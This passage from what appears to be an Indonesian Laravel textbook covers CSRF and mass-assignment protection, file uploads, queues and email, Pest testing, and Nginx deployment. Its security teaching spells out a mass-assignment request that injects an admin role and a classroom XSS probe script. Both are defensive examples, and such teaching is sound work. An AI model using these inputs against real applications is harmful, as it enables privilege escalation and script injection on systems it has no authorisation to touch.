{{-- @csrf menghasilkan token unik tersembunyi yang hanya diketahui oleh sesi
pengguna yang sah --}}
```

Setiap permintaan POST/PUT/DELETE yang tidak menyertakan token CSRF yang valid otomatis ditolak Laravel dengan error 419, mencegah situs jahat mengirimkan permintaan atas nama korban karena situs tersebut tidak mengetahui token yang benar. Endpoint API pada Bab 3 tidak memerlukan token CSRF karena menggunakan autentikasi berbasis token Sanctum yang secara desain sudah kebal terhadap CSRF.

5.4 Mass Assignment dan Property $fillable

Mass assignment adalah kerentanan yang terjadi ketika seluruh data dari input pengguna diteruskan langsung ke database tanpa penyaringan, memungkinkan pengguna jahat menyisipkan field tambahan yang seharusnya tidak boleh mereka ubah.

```
// BERBAHAYA jika role tidak dibatasi fillable-nya
// Penyerang dapat mengirim field tambahan 'role' pada form registrasi:
// POST /register  { name: "Budi", email: "budi@mail.com", password: "123", role:
"admin" }

// Jika Model User mengizinkan seluruh kolom (tidak ada $fillable/$guarded),
// User::create($request->all()); // akan ikut menyimpan role menjadi 'admin'!

<?php
// AMAN - hanya kolom yang didaftarkan pada $fillable yang dapat diisi secara massal
class User extends Authenticatable
{
    protected $fillable = ['name', 'email', 'password']; // role sengaja TIDAK
didaftarkan
}

// Pada Controller registrasi, role ditetapkan secara eksplisit oleh sistem, bukan
dari input pengguna
$user = User::create($request->only(['name', 'email', 'password']));
$user->role = 'user'; // ditetapkan manual, tidak bisa dimanipulasi dari luar
$user->save();
```

Property `$fillable` yang telah digunakan sejak Bab 6 buku Kelas XI ternyata memiliki peran keamanan penting, bukan sekadar kerapian kode — mendaftarkan kolom sensitif seperti `role` di dalamnya adalah

kesalahan yang berpotensi fatal, karena memungkinkan siapa pun mendaftar sebagai admin hanya dengan menyisipkan field tambahan pada permintaan HTTP.

5.5 Checklist Audit Keamanan Dasar Aplikasi Laravel

Item Audit	Cara Memeriksa
Tidak ada penggunaan {!! !!} untuk input pengguna	Cari seluruh penggunaan {!! !!} pada folder resources/views, pastikan hanya untuk konten tepercaya
Seluruh form mengandung @csrf	Periksa setiap file Blade yang memiliki tag <form method="POST">
Kolom sensitif tidak ada pada $fillable	Periksa setiap Model, pastikan kolom seperti role/is_admin tidak fillable
Password selalu di-hash	Pastikan seluruh penyimpanan password menggunakan Hash::make() atau bcrypt (Breeze sudah menangani ini otomatis)
Rute sensitif dilindungi middleware yang tepat	Periksa routes/web.php dan routes/api.php, pastikan middleware auth/admin diterapkan konsisten
APP_DEBUG=false pada environment produksi	Periksa file .env pada server, memastikan detail error teknis tidak terekspos ke publik

Aktivitas Pembelajaran

22. Peserta didik mencoba menyisipkan kode <script>alert('test')</script> pada salah satu form input proyek mereka (misalnya kolom nama), kemudian memverifikasi bahwa Blade secara otomatis mencegah kode tersebut dieksekusi.
23. Peserta didik memeriksa seluruh Model pada proyek mereka, memastikan tidak ada kolom sensitif yang secara tidak sengaja masuk ke dalam $fillable.
24. Peserta didik melakukan audit keamanan dasar pada proyek mereka sendiri menggunakan checklist pada bab ini, mendokumentasikan temuan dan perbaikan yang dilakukan.

Rangkuman

Blade secara otomatis melindungi dari XSS melalui sintaks {{ }} yang melakukan escaping, sementara directive @csrf mencegah serangan CSRF dengan token unik per sesi. Property $fillable pada Model mencegah kerentanan mass assignment dengan membatasi kolom mana yang dapat diisi dari input pengguna secara langsung. Ketiga mekanisme ini telah digunakan sejak buku Kelas XI tanpa penjelasan eksplisit, dan bab ini mengungkap peran keamanannya sekaligus melengkapi checklist audit dasar sebelum aplikasi diterbitkan ke produksi pada Bab 9.

Soal Latihan / Refleksi

25. Jelaskan bagaimana sintaks {{ }} pada Blade melindungi aplikasi dari serangan XSS.

26. Apa yang terjadi jika sebuah form POST dikirim tanpa token CSRF yang valid?
27. Jelaskan risiko mass assignment apabila kolom 'role' pada Model User tidak dibatasi melalui $fillable.
28. Sebutkan tiga item pada checklist audit keamanan dasar yang paling penting diperiksa sebelum aplikasi diterbitkan ke produksi.

BAB 6 — File Upload dan Storage

Tujuan Pembelajaran

- Peserta didik mampu menerapkan fitur unggah berkas (file upload) pada form Laravel.
- Peserta didik mampu menerapkan validasi jenis dan ukuran berkas yang diunggah.
- Peserta didik mampu menampilkan dan mengelola berkas yang telah diunggah menggunakan Laravel Storage.

6.1 Kebutuhan Nyata Unggah Berkas pada Aplikasi Sekolah

Hampir setiap aplikasi CRUD nyata pada akhirnya membutuhkan kemampuan mengunggah berkas — foto profil siswa, dokumen surat keterangan, atau lampiran tugas. Bab ini melengkapi kompetensi form yang telah dibangun sejak Bab 8 buku Kelas XI dengan kemampuan menangani input bertipe berkas (file), yang memerlukan penanganan berbeda dari input teks biasa.

6.2 Menambahkan Input File pada Form

```
{{-- Form HTML wajib menambahkan enctype untuk mendukung unggah berkas --}}
<form action="{{ route('siswa.store') }}" method="POST" enctype="multipart/form-
data">
    @csrf
    <input type="text" name="nama" class="form-control">

    <label class="form-label">Foto Profil</label>
    <input type="file" name="foto" class="form-control" accept="image/*">

    <button type="submit" class="btn btn-primary">Simpan</button>
</form>
```

Atribut `enctype="multipart/form-data"` wajib ditambahkan pada tag form yang telah dipelajari sejak Bab 8 buku kelas X — tanpa atribut ini, berkas yang diunggah tidak akan terkirim sama sekali ke server, meskipun kolom input file tetap tampil normal pada browser.

6.3 Memproses dan Menyimpan Berkas pada Controller

```
<?php
public function store(Request $request)
{
    $validated = $request->validate([
        'nama' => 'required|string|max:100',
        'foto' => 'nullable|image|mimes:jpg,jpeg,png|max:2048', // maksimal 2MB
    ]);

    if ($request->hasFile('foto')) {
        $path = $request->file('foto')->store('foto-siswa', 'public');
        $validated['foto'] = $path;
    }

    Siswa::create($validated);
```

```
    return redirect()->route('siswa.index')->with('sukses', 'Data berhasil
ditambahkan!');
}
```

Aturan Validasi	Fungsi
image	Memastikan berkas yang diunggah benar-benar berupa gambar
mimes:jpg,jpeg,png	Membatasi jenis ekstensi berkas yang diizinkan
max:2048	Membatasi ukuran maksimal berkas dalam kilobyte (2048 KB = 2 MB)

```
# Membuat symbolic link agar folder storage dapat diakses publik dari browser
php artisan storage:link
```

Perintah `storage:link` menciptakan tautan simbolis dari `public/storage` menuju `storage/app/public`, memungkinkan berkas yang disimpan melalui `store('folder', 'public')` dapat diakses langsung melalui URL browser — sebuah langkah konfigurasi yang wajib dilakukan sekali pada setiap proyek baru, baik saat pengembangan lokal maupun setelah deployment ke server produksi pada Bab 9.

6.4 Menampilkan Berkas yang Telah Diunggah

```
{{-- Menampilkan foto profil siswa pada Blade view --}}
@if ($siswa->foto)
    <img src="{{ asset('storage/' . $siswa->foto) }}" alt="Foto {{ $siswa->nama }}"
width="100">
@else
    <img src="{{ asset('images/default-avatar.png') }}" alt="Foto default"
width="100">
@endif
```

Fungsi helper `asset()` menghasilkan URL lengkap menuju berkas pada folder public, mengikuti prinsip yang sama dengan atribut `src` pada tag `<img>` yang telah dipelajari sejak Bab 7 buku kelas X, kini disesuaikan dengan struktur folder Laravel.

6.5 Memperbarui dan Menghapus Berkas Lama

```
<?php
use Illuminate\Support\Facades\Storage;

public function update(Request $request, Siswa $siswa)
{
    $validated = $request->validate([
        'nama' => 'required|string|max:100',
        'foto' => 'nullable|image|mimes:jpg,jpeg,png|max:2048',
    ]);

    if ($request->hasFile('foto')) {
        // Hapus foto lama agar tidak menumpuk berkas tidak terpakai di server
```

```
        if ($siswa->foto) {
            Storage::disk('public')->delete($siswa->foto);
        }
        $validated['foto'] = $request->file('foto')->store('foto-siswa', 'public');
    }

    $siswa->update($validated);
    return redirect()->route('siswa.index')->with('sukses', 'Data berhasil
diperbarui!');
}
```

Menghapus berkas lama sebelum menyimpan berkas baru adalah praktik penting yang sering terlewat oleh pemula — tanpa langkah ini, server akan terus mengumpulkan berkas-berkas lama yang tidak lagi digunakan (orphaned files), memboroskan ruang penyimpanan server secara signifikan seiring waktu, terutama pada aplikasi dengan banyak pengguna yang sering memperbarui berkas mereka.

Aktivitas Pembelajaran

29. Peserta didik menambahkan fitur unggah foto profil pada salah satu Model utama proyek mereka, lengkap dengan validasi jenis dan ukuran berkas, serta menjalankan php artisan storage:link.
30. Peserta didik menampilkan foto yang telah diunggah pada halaman index dan detail, menyediakan gambar default apabila belum ada foto yang diunggah.
31. Peserta didik memodifikasi method update() untuk menghapus berkas lama sebelum menyimpan berkas baru, menguji dengan mengunggah foto beberapa kali secara berurutan dan memverifikasi folder storage tidak menumpuk berkas lama.

Rangkuman

Unggah berkas pada Laravel memerlukan atribut enctype pada form HTML, validasi jenis dan ukuran berkas (image, mimes, max), penyimpanan menggunakan method store() ke disk storage, serta perintah php artisan storage:link agar berkas dapat diakses publik. Praktik yang baik mencakup penghapusan berkas lama saat memperbarui data untuk mencegah penumpukan berkas tidak terpakai. Kompetensi ini melengkapi kemampuan CRUD yang telah dibangun sejak Bab 7 buku Kelas XI dengan kebutuhan nyata yang hampir selalu muncul pada aplikasi produksi.

Soal Latihan / Refleksi

32. Mengapa atribut enctype="multipart/form-data" wajib ditambahkan pada form yang memiliki input file?
33. Jelaskan fungsi perintah php artisan storage:link.
34. Tuliskan aturan validasi untuk memastikan berkas yang diunggah adalah gambar JPG/PNG dengan ukuran maksimal 1MB.
35. Mengapa berkas lama perlu dihapus saat pengguna mengunggah berkas pengganti yang baru?

BAB 7 — Queue, Job, dan Email Dasar

Tujuan Pembelajaran

- Peserta didik mampu menjelaskan konsep proses latar belakang (background job) dan manfaatnya.
- Peserta didik mampu membuat dan menjalankan Job sederhana menggunakan Queue Laravel.
- Peserta didik mampu mengirim email notifikasi otomatis menggunakan Laravel Mail.

7.1 Masalah: Proses Lambat yang Memblokir Respons

Bayangkan sebuah fitur pada aplikasi sekolah yang mengirimkan email notifikasi kepada seluruh siswa setiap kali nilai baru diunggah. Apabila proses pengiriman ratusan email dilakukan secara langsung (synchronous) pada method store() seperti pola yang telah digunakan sejak Bab 7 buku Kelas XI, pengguna (guru yang mengunggah nilai) harus menunggu hingga seluruh email selesai terkirim sebelum menerima respons halaman — proses yang dapat memakan waktu puluhan detik dan memberikan pengalaman pengguna yang buruk.

Queue (antrean) menyelesaikan masalah ini dengan memindahkan tugas yang memakan waktu ke proses latar belakang (background), memungkinkan aplikasi segera memberikan respons kepada pengguna sementara tugas berat seperti pengiriman email diproses secara terpisah tanpa membuat pengguna menunggu.

7.2 Konfigurasi Dasar Queue

```
# Pada file .env, tentukan driver queue
QUEUE_CONNECTION=database

# Membuat tabel yang diperlukan untuk menyimpan antrean job
php artisan queue:table
php artisan migrate
```

Driver `database` menyimpan antrean job pada tabel database, pilihan paling sederhana untuk keperluan belajar dan aplikasi berskala kecil-menengah, dibanding driver lain seperti Redis yang memerlukan instalasi tambahan namun menawarkan performa lebih tinggi untuk aplikasi berskala besar.

7.3 Membuat dan Menjalankan Job

```
# Membuat class Job baru
php artisan make:job KirimNotifikasiNilai

<?php
// app/Jobs/KirimNotifikasiNilai.php
namespace App\Jobs;

use App\Models\Siswa;
use Illuminate\Bus\Queueable;
```

```
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Foundation\Bus\Dispatchable;

class KirimNotifikasiNilai implements ShouldQueue
{
    use Dispatchable, Queueable;

    protected $siswa;

    public function __construct(Siswa $siswa)
    {
        $this->siswa = $siswa;
    }

    public function handle()
    {
        // Logika pengiriman email/notifikasi dijalankan di sini, di latar belakang
        // Mail::to($this->siswa->email)->send(new NilaiBaru($this->siswa));
        sleep(2); // simulasi proses yang memakan waktu
    }
}

<?php
// Pada Controller, dispatch job alih-alih menjalankannya langsung
public function update(Request $request, Siswa $siswa)
{
    $siswa->update($request->only(['nilai']));

    KirimNotifikasiNilai::dispatch($siswa); // job masuk antrean, tidak memblokir
respons

    return redirect()->route('siswa.index')->with('sukses', 'Nilai diperbarui,
notifikasi sedang dikirim!');
}

# Menjalankan worker untuk memproses antrean job (dijalankan sebagai proses
terpisah)
php artisan queue:work
```

Perhatikan bahwa `KirimNotifikasiNilai::dispatch($siswa)` mengingatkan kembali konsep constructor pada OOP (Bab 2 buku Kelas XI) — data siswa diteruskan ke dalam Job melalui constructor, kemudian diproses pada method `handle()` yang dijalankan oleh worker secara terpisah dari alur permintaan HTTP utama.

7.4 Mengirim Email dengan Laravel Mail

```
# Membuat class Mailable
php artisan make:mail NilaiBaru --markdown=emails.nilai-baru

<?php
// app/Mail/NilaiBaru.php
namespace App\Mail;

use Illuminate\Mail\Mailable;

class NilaiBaru extends Mailable
```

```
{
    public $siswa;

    public function __construct($siswa)
    {
        $this->siswa = $siswa;
    }

    public function build()
    {
        return $this->subject('Nilai Baru Telah Diperbarui')
                    ->markdown('emails.nilai-baru');
    }
}

{{-- resources/views/emails/nilai-baru.blade.php --}}
@component('mail::message')
# Halo, {{ $siswa->nama }}!

Nilai Anda telah diperbarui menjadi **{{ $siswa->nilai }}**.

@component('mail::button', ['url' => url('/siswa/' . $siswa->id)])
Lihat Detail
@endcomponent

Terima kasih,<br>
{{ config('app.name') }}
@endcomponent
```

Template email menggunakan sintaks Blade yang sama persis dengan yang telah dipelajari sejak Bab 5 buku Kelas XI (termasuk directive dan interpolasi `{{ }}`), hanya dibungkus komponen mail bawaan Laravel yang menghasilkan tampilan email profesional secara otomatis tanpa perlu menulis HTML email yang kompleks dari nol.

7.5 Konfigurasi Testing Email dengan Mailtrap

```
# .env - menggunakan Mailtrap untuk menguji pengiriman email tanpa mengirim ke
alamat sungguhan
MAIL_MAILER=smtp
MAIL_HOST=sandbox.smtp.mailtrap.io
MAIL_PORT=2525
MAIL_USERNAME=your_mailtrap_username
MAIL_PASSWORD=your_mailtrap_password
MAIL_FROM_ADDRESS=noreply@sekolah.sch.id
MAIL_FROM_NAME="Sistem Data Siswa"
```

Mailtrap adalah layanan yang menangkap email yang dikirim aplikasi selama masa pengembangan tanpa benar-benar mengirimkannya ke alamat sungguhan, mencegah email uji coba secara tidak sengaja terkirim ke alamat email asli — sebuah praktik pengujian yang aman sebelum aplikasi benar-benar diterbitkan ke produksi menggunakan layanan email sungguhan pada Bab 9.

Aktivitas Pembelajaran

36. Peserta didik mengonfigurasi queue dengan driver database, membuat Job sederhana yang mensimulasikan proses lambat menggunakan sleep(), dan menjalankan php artisan queue:work untuk mengamati job diproses di latar belakang.
37. Peserta didik membuat Mailable dan template email sederhana untuk salah satu fitur pada proyek mereka (misalnya notifikasi pendaftaran berhasil), mengonfigurasi Mailtrap, dan menguji email terkirim dengan benar.
38. Peserta didik menggabungkan Job dan Mail — membuat Job yang di dalamnya mengirim email menggunakan Mailable yang telah dibuat, dipanggil dari Controller menggunakan dispatch().

Rangkuman

Queue memindahkan tugas yang memakan waktu (seperti pengiriman email massal) ke proses latar belakang menggunakan Job, mencegah pengguna menunggu lama untuk menerima respons aplikasi. Job dibuat menggunakan php artisan make:job dan dijalankan menggunakan php artisan queue:work, sementara Laravel Mail dengan template Blade markdown menyediakan cara terstruktur mengirim email notifikasi, diuji dengan aman menggunakan Mailtrap sebelum aplikasi diterbitkan ke produksi.

Soal Latihan / Refleksi

39. Jelaskan masalah yang muncul apabila proses pengiriman email dilakukan secara langsung (synchronous) pada Controller tanpa menggunakan queue.
40. Jelaskan alur kerja sebuah Job dari dispatch() pada Controller hingga diproses oleh queue:work.
41. Mengapa Mailtrap digunakan selama masa pengembangan, bukan langsung menggunakan layanan email produksi?
42. Sebutkan kapan sebaiknya sebuah proses dijadikan Job (dijalankan di latar belakang) dibanding dijalankan langsung pada Controller.

BAB 8 — Testing Dasar dengan PHPUnit dan Pest

Tujuan Pembelajaran

- Peserta didik mampu menjelaskan manfaat automated testing dibanding pengujian manual.
- Peserta didik mampu menulis Feature Test sederhana untuk menguji endpoint aplikasi Laravel.
- Peserta didik mampu menerapkan test-driven mindset dalam mengembangkan fitur baru.

8.1 Masalah Pengujian Manual: Tidak Dapat Diskalakan

Sepanjang buku Kelas XI dan bab-bab awal buku ini, pengujian dilakukan secara manual — membuka browser, mengklik tombol, mengisi form, dan memeriksa hasilnya secara visual. Pendekatan ini berjalan baik untuk aplikasi kecil, namun menjadi sangat tidak efisien ketika aplikasi bertambah besar: setiap kali sebuah fitur baru ditambahkan, seluruh fitur lama yang sudah ada perlu diuji ulang secara manual untuk memastikan tidak ada yang rusak (regresi) — pekerjaan yang memakan waktu sangat lama dan rawan terlewat pada aplikasi dengan puluhan fitur.

Automated testing menulis kode yang secara otomatis menguji kode aplikasi lainnya, dapat dijalankan berulang kali dalam hitungan detik untuk memverifikasi seluruh fitur masih berfungsi dengan benar setiap kali ada perubahan kode — sebuah praktik yang menjadi standar wajib pada tim pengembangan profesional.

8.2 PHPUnit vs Pest

Laravel mendukung dua framework testing: **PHPUnit**, framework testing PHP klasik dengan sintaks berbasis class dan method, dan **Pest**, framework yang lebih modern dengan sintaks fungsional yang lebih ringkas dan mudah dibaca. Keduanya menjalankan mekanisme testing yang sama di balik layar; Pest pada dasarnya dibangun di atas PHPUnit dengan lapisan sintaks yang lebih bersahabat bagi pemula.

Aspek	PHPUnit	Pest
Sintaks	Berbasis class dan method (mirip OOP Bab 2)	Berbasis fungsi, lebih ringkas
Kurva belajar	Perlu memahami struktur class terlebih dahulu	Lebih mudah dipahami pemula
Popularitas di industri	Sangat luas, standar lama	Berkembang pesat, semakin populer

8.3 Menulis Feature Test dengan Pest

```
# Menginstal Pest (jika belum tersedia pada proyek)
composer require pestphp/pest --dev --with-all-dependencies
php artisan pest:install
```

```
# Membuat file test baru
php artisan pest:test SiswaTest

<?php
// tests/Feature/SiswaTest.php
use App\Models\User;
use App\Models\Siswa;
use App\Models\Kelas;

test('pengguna yang belum login tidak dapat mengakses halaman data siswa', function
() {
    $response = $this->get('/siswa');
    $response->assertRedirect('/login'); // sesuai middleware auth pada Bab 9 buku
Kelas XI
});

test('pengguna yang sudah login dapat melihat daftar siswa', function () {
    $user = User::factory()->create();

    $response = $this->actingAs($user)->get('/siswa');

    $response->assertStatus(200);
});

test('data siswa baru berhasil disimpan dengan data valid', function () {
    $user = User::factory()->create();
    $kelas = Kelas::factory()->create();

    $response = $this->actingAs($user)->post('/siswa', [
        'nama' => 'Budi Santoso',
        'kelas_id' => $kelas->id,
        'nilai' => 88,
    ]);

    $response->assertRedirect('/siswa');
    $this->assertDatabaseHas('siswa', ['nama' => 'Budi Santoso']);
});

test('data siswa gagal disimpan tanpa nama', function () {
    $user = User::factory()->create();

    $response = $this->actingAs($user)->post('/siswa', [
        'nama' => '', // sengaja kosong untuk menguji validasi Bab 8 buku Kelas XI
        'nilai' => 88,
    ]);

    $response->assertSessionHasErrors('nama');
});
```

Perhatikan bagaimana keempat test di atas memverifikasi kembali seluruh kompetensi yang telah dipelajari sepanjang buku: middleware auth (Bab 9 Kelas XI), CRUD (Bab 7 Kelas XI), dan validasi (Bab 8 Kelas XI) — testing bukan materi yang berdiri sendiri, melainkan cara memverifikasi secara otomatis bahwa seluruh kompetensi tersebut benar-benar bekerja sebagaimana mestinya.

8.4 Menjalankan Test

```
# Menjalankan seluruh test pada proyek
php artisan test

# Atau menggunakan Pest secara langsung
./vendor/bin/pest

# Menjalankan hanya satu file test tertentu
php artisan test --filter=SiswaTest
```

Test yang dijalankan menggunakan database terpisah dari database pengembangan (umumnya SQLite in-memory atau database testing khusus), memastikan data pengujian tidak pernah bercampur dengan data sungguhan pada database pengembangan — sebuah konfigurasi yang telah diatur otomatis oleh Laravel pada file `phpunit.xml` sejak instalasi awal.

8.5 Mindset Test-Driven: Menulis Test Sebelum atau Sesudah Kode?

Test-Driven Development (TDD) adalah pendekatan di mana test ditulis **sebelum** kode fitur yang sesungguhnya, memaksa programmer memikirkan terlebih dahulu perilaku apa yang diharapkan dari sebuah fitur sebelum mengimplementasikannya. Bagi pemula, pendekatan yang lebih realistis adalah menulis kode fitur terlebih dahulu (mengikuti pola yang telah dipelajari sepanjang buku ini), kemudian menulis test setelahnya untuk memverifikasi dan mendokumentasikan perilaku yang diharapkan — sebuah kebiasaan yang tetap jauh lebih baik dibanding tidak menulis test sama sekali, dan dapat berkembang menuju TDD penuh seiring bertambahnya pengalaman.

Aktivitas Pembelajaran

43. Peserta didik menginstal Pest pada proyek mereka dan menulis minimal tiga Feature Test untuk salah satu fitur CRUD utama, mencakup pengujian akses tanpa login, penyimpanan data valid, dan validasi data tidak valid.
44. Peserta didik dengan sengaja merusak salah satu bagian kode Controller (misalnya menghapus baris validasi), menjalankan test, dan mengamati test yang gagal sebagai bukti manfaat automated testing dalam mendeteksi regresi.
45. Peserta didik menulis test tambahan untuk memverifikasi middleware admin (Bab 2) bekerja dengan benar — pengguna biasa mendapat status 403 saat mengakses rute khusus admin.

Rangkuman

Automated testing menggunakan PHPUnit atau Pest memungkinkan verifikasi otomatis bahwa fitur aplikasi berfungsi dengan benar, jauh lebih efisien dibanding pengujian manual berulang setiap kali ada perubahan kode. Feature Test memverifikasi perilaku aplikasi dari sudut pandang pengguna — akses middleware, penyimpanan data valid, dan penanganan data tidak valid — mengonfirmasi kembali seluruh kompetensi CRUD, validasi, dan autentikasi yang telah dipelajari sepanjang buku. Kebiasaan menulis test menjadi bekal penting sebelum aplikasi diterbitkan ke produksi pada bab berikutnya.

Soal Latihan / Refleksi

46. Jelaskan mengapa automated testing menjadi semakin penting seiring bertambah besarnya sebuah aplikasi.
47. Jelaskan perbedaan PHPUnit dan Pest, beserta alasan mengapa keduanya pada dasarnya menjalankan mekanisme yang sama.
48. Tuliskan contoh test sederhana untuk memverifikasi bahwa pengguna yang belum login diarahkan ke halaman login saat mengakses rute terlindungi.
49. Jelaskan konsep Test-Driven Development (TDD) dan pendekatan yang lebih realistis bagi pemula.

BAB 9 — Deployment Laravel ke Ubuntu Server

Tujuan Pembelajaran

- Peserta didik mampu menyiapkan server Ubuntu untuk menjalankan aplikasi Laravel produksi.
- Peserta didik mampu mengonfigurasi Nginx dan PHP-FPM untuk melayani aplikasi Laravel.
- Peserta didik mampu menerapkan konfigurasi environment produksi yang aman dan optimal.

9.1 Melanjutkan Kompetensi Deployment dari Kelas X

Bab 14 buku Pemrograman Web Dasar kelas X telah memperkenalkan deployment aplikasi PHP sederhana ke Ubuntu Server menggunakan LAMP stack (Apache, MySQL, PHP). Bab ini melanjutkan kompetensi tersebut khusus untuk aplikasi Laravel, yang memiliki beberapa kebutuhan konfigurasi tambahan dibanding aplikasi PHP native — struktur folder `public/` sebagai document root, kebutuhan Composer di server, serta opsi menggunakan Nginx sebagai alternatif Apache yang lebih umum digunakan pada deployment Laravel produksi karena performanya yang lebih efisien menangani banyak koneksi bersamaan.

9.2 Menyiapkan Server: LEMP Stack (Linux, Nginx, MySQL, PHP)

```
# Perbarui sistem
sudo apt update && sudo apt upgrade -y

# Instal Nginx
sudo apt install nginx -y

# Instal PHP-FPM beserta ekstensi yang dibutuhkan Laravel
sudo apt install php8.2-fpm php8.2-mysql php8.2-mbstring php8.2-xml php8.2-curl
php8.2-zip -y

# Instal MySQL (sama seperti Bab 14 buku kelas X)
sudo apt install mysql-server -y
sudo mysql_secure_installation

# Instal Composer
curl -sS https://getcomposer.org/installer | php
sudo mv composer.phar /usr/local/bin/composer
```

PHP-FPM (FastCGI Process Manager) adalah komponen yang memproses kode PHP secara terpisah dari web server, bekerja sama dengan Nginx yang bertugas menangani permintaan HTTP dan meneruskan pemrosesan PHP ke PHP-FPM — arsitektur berbeda dari Apache yang telah dipelajari pada Bab 14 buku kelas X, di mana modul PHP terintegrasi langsung ke dalam proses Apache itu sendiri.

9.3 Memindahkan dan Menyiapkan Proyek Laravel

```
# Clone proyek dari GitHub (memanfaatkan kompetensi Git dari Bab 12 buku Kelas XI)
cd /var/www
sudo git clone https://github.com/username/sistem-data-siswa.git
```

```
cd sistem-data-siswa

# Instal dependency produksi (tanpa paket development seperti Pest)
composer install --optimize-autoloader --no-dev

# Menyalin dan mengonfigurasi file environment produksi
cp .env.example .env
sudo nano .env
php artisan key:generate

# Menjalankan migration pada database produksi
php artisan migrate --force

# Membuat symbolic link storage (mengingat kembali Bab 6)
php artisan storage:link

# Mengatur kepemilikan folder agar dapat ditulis oleh web server
sudo chown -R www-data:www-data /var/www/sistem-data-siswa
sudo chmod -R 755 /var/www/sistem-data-siswa/storage
sudo chmod -R 755 /var/www/sistem-data-siswa/bootstrap/cache
```

Flag `--no-dev` pada instalasi Composer sengaja mengecualikan paket yang hanya diperlukan saat pengembangan (seperti Pest yang dipelajari pada Bab 8), menjaga aplikasi produksi tetap ringkas dan tidak menyertakan alat-alat yang tidak relevan bagi pengguna akhir.

9.4 Konfigurasi Virtual Host Nginx untuk Laravel

```
# /etc/nginx/sites-available/sistem-data-siswa
server {
    listen 80;
    server_name sistem-siswa.sekolah.sch.id;
    root /var/www/sistem-data-siswa/public;  # WAJIB mengarah ke folder public,
bukan root proyek

    index index.php;

    location / {
        try_files $uri $uri/ /index.php?$query_string;
    }

    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/var/run/php/php8.2-fpm.sock;
    }

    location ~ /\.(?!well-known).* {
        deny all;  # memblokir akses ke file tersembunyi seperti .env dan .git
    }
}

# Mengaktifkan konfigurasi dan memuat ulang Nginx
sudo ln -s /etc/nginx/sites-available/sistem-data-siswa /etc/nginx/sites-enabled/
sudo nginx -t  # menguji konfigurasi sebelum diterapkan
sudo systemctl reload nginx
```

Bagian `root` yang mengarah khusus ke folder `public/` adalah perbedaan konfigurasi paling penting dibanding Virtual Host Apache pada Bab 14 buku kelas X — struktur Laravel sengaja memisahkan folder public (dapat diakses browser) dari folder aplikasi lainnya (app, config, database) yang tidak boleh diakses langsung demi keamanan, sebuah prinsip yang ditegaskan kembali oleh baris konfigurasi yang memblokir akses ke file tersembunyi seperti `.env`.

9.5 Konfigurasi Environment Produksi yang Aman

```
# .env pada server produksi
APP_ENV=production
APP_DEBUG=false          # WAJIB false - mencegah detail error teknis terekspos ke
publik
APP_URL=https://sistem-siswa.sekolah.sch.id

DB_CONNECTION=mysql
DB_DATABASE=db_sistem_siswa_prod
DB_USERNAME=user_laravel_app   # bukan root, mengikuti prinsip least privilege Bab 6
buku Keamanan Jaringan
DB_PASSWORD=PasswordSangatAman!789

# Mengoptimalkan performa aplikasi untuk produksi
php artisan config:cache
php artisan route:cache
php artisan view:cache
```

Perintah cache di atas menyimpan konfigurasi, rute, dan view dalam bentuk yang sudah dioptimalkan, mengurangi waktu pemrosesan pada setiap permintaan — sebuah langkah optimasi yang tidak diperlukan pada lingkungan pengembangan (karena akan menyembunyikan efek perubahan kode terbaru) namun sangat direkomendasikan pada lingkungan produksi yang jarang berubah konfigurasinya.

9.6 HTTPS dan Firewall pada Server Laravel

```
# Memasang sertifikat HTTPS menggunakan Certbot (sama seperti Bab 14 buku kelas X,
disesuaikan untuk Nginx)
sudo apt install certbot python3-certbot-nginx -y
sudo certbot --nginx -d sistem-siswa.sekolah.sch.id

# Mengaktifkan firewall, mengizinkan hanya port esensial
sudo ufw allow OpenSSH
sudo ufw allow 'Nginx Full'
sudo ufw enable
```

Seluruh langkah pengamanan dasar ini — HTTPS, firewall, APP_DEBUG=false, user database non-root — merupakan penerapan langsung prinsip hardening yang telah dipelajari secara mendalam pada buku Keamanan Jaringan, kini diterapkan secara spesifik pada konteks aplikasi Laravel yang siap digunakan publik.

9.7 Strategi Update Aplikasi tanpa Downtime

Setelah aplikasi berjalan di produksi, pembaruan kode (misalnya menambahkan fitur baru hasil proyek capstone) perlu dilakukan dengan hati-hati agar tidak mengganggu pengguna yang sedang mengakses aplikasi. Urutan langkah update yang aman perlu diperhatikan dengan saksama.

50. Aktifkan mode maintenance agar pengguna melihat halaman pemberitahuan, bukan error: php artisan down.
51. Tarik kode terbaru dari repositori: git pull origin main.
52. Perbarui dependency apabila ada perubahan: composer install --no-dev.
53. Jalankan migration baru apabila ada perubahan struktur database: php artisan migrate --force.
54. Bersihkan dan perbarui cache konfigurasi: php artisan config:cache, route:cache, view:cache.
55. Nonaktifkan mode maintenance: php artisan up.

Perintah `php artisan down` menampilkan halaman pemberitahuan sementara kepada pengunjung selagi pembaruan berlangsung, jauh lebih baik dibanding membiarkan pengguna menemui error mengejutkan akibat kode yang sedang dalam proses pembaruan — sebuah praktik kecil namun penting yang mencerminkan kematangan dalam mengelola aplikasi produksi.

Aktivitas Pembelajaran

56. Peserta didik menyiapkan mesin virtual Ubuntu Server baru, menginstal LEMP stack lengkap (Nginx, PHP-FPM, MySQL, Composer) mengikuti langkah-langkah pada bab ini.
57. Peserta didik meng-clone proyek Laravel mereka dari GitHub ke server, mengonfigurasi .env produksi, menjalankan migration, dan mengonfigurasi Virtual Host Nginx hingga aplikasi dapat diakses melalui alamat IP server.
58. Peserta didik menerapkan pengamanan dasar (firewall UFW, APP_DEBUG=false, HTTPS jika memungkinkan menggunakan domain) dan memverifikasi aplikasi tetap berjalan normal setelah seluruh konfigurasi diterapkan.

Rangkuman

Deployment Laravel ke Ubuntu Server melanjutkan kompetensi LAMP stack dari buku kelas X dengan penyesuaian khusus: LEMP stack menggunakan Nginx dan PHP-FPM, Virtual Host yang mengarah ke folder public/, serta konfigurasi environment produksi yang aman (APP_DEBUG=false, user database non-root, caching konfigurasi). Pengamanan dasar seperti HTTPS dan firewall melengkapi deployment, menerapkan langsung prinsip hardening dari buku Keamanan Jaringan pada konteks aplikasi Laravel yang siap digunakan publik.

Soal Latihan / Refleksi

59. Jelaskan perbedaan arsitektur antara Apache (Bab 14 buku kelas X) dengan Nginx+PHP-FPM dalam melayani aplikasi PHP.
60. Mengapa konfigurasi root pada Virtual Host Nginx untuk Laravel harus mengarah ke folder public/, bukan folder utama proyek?
61. Jelaskan mengapa APP_DEBUG harus bernilai false pada environment produksi.

62. Sebutkan tiga langkah pengamanan dasar yang sebaiknya diterapkan pada server Laravel produksi.

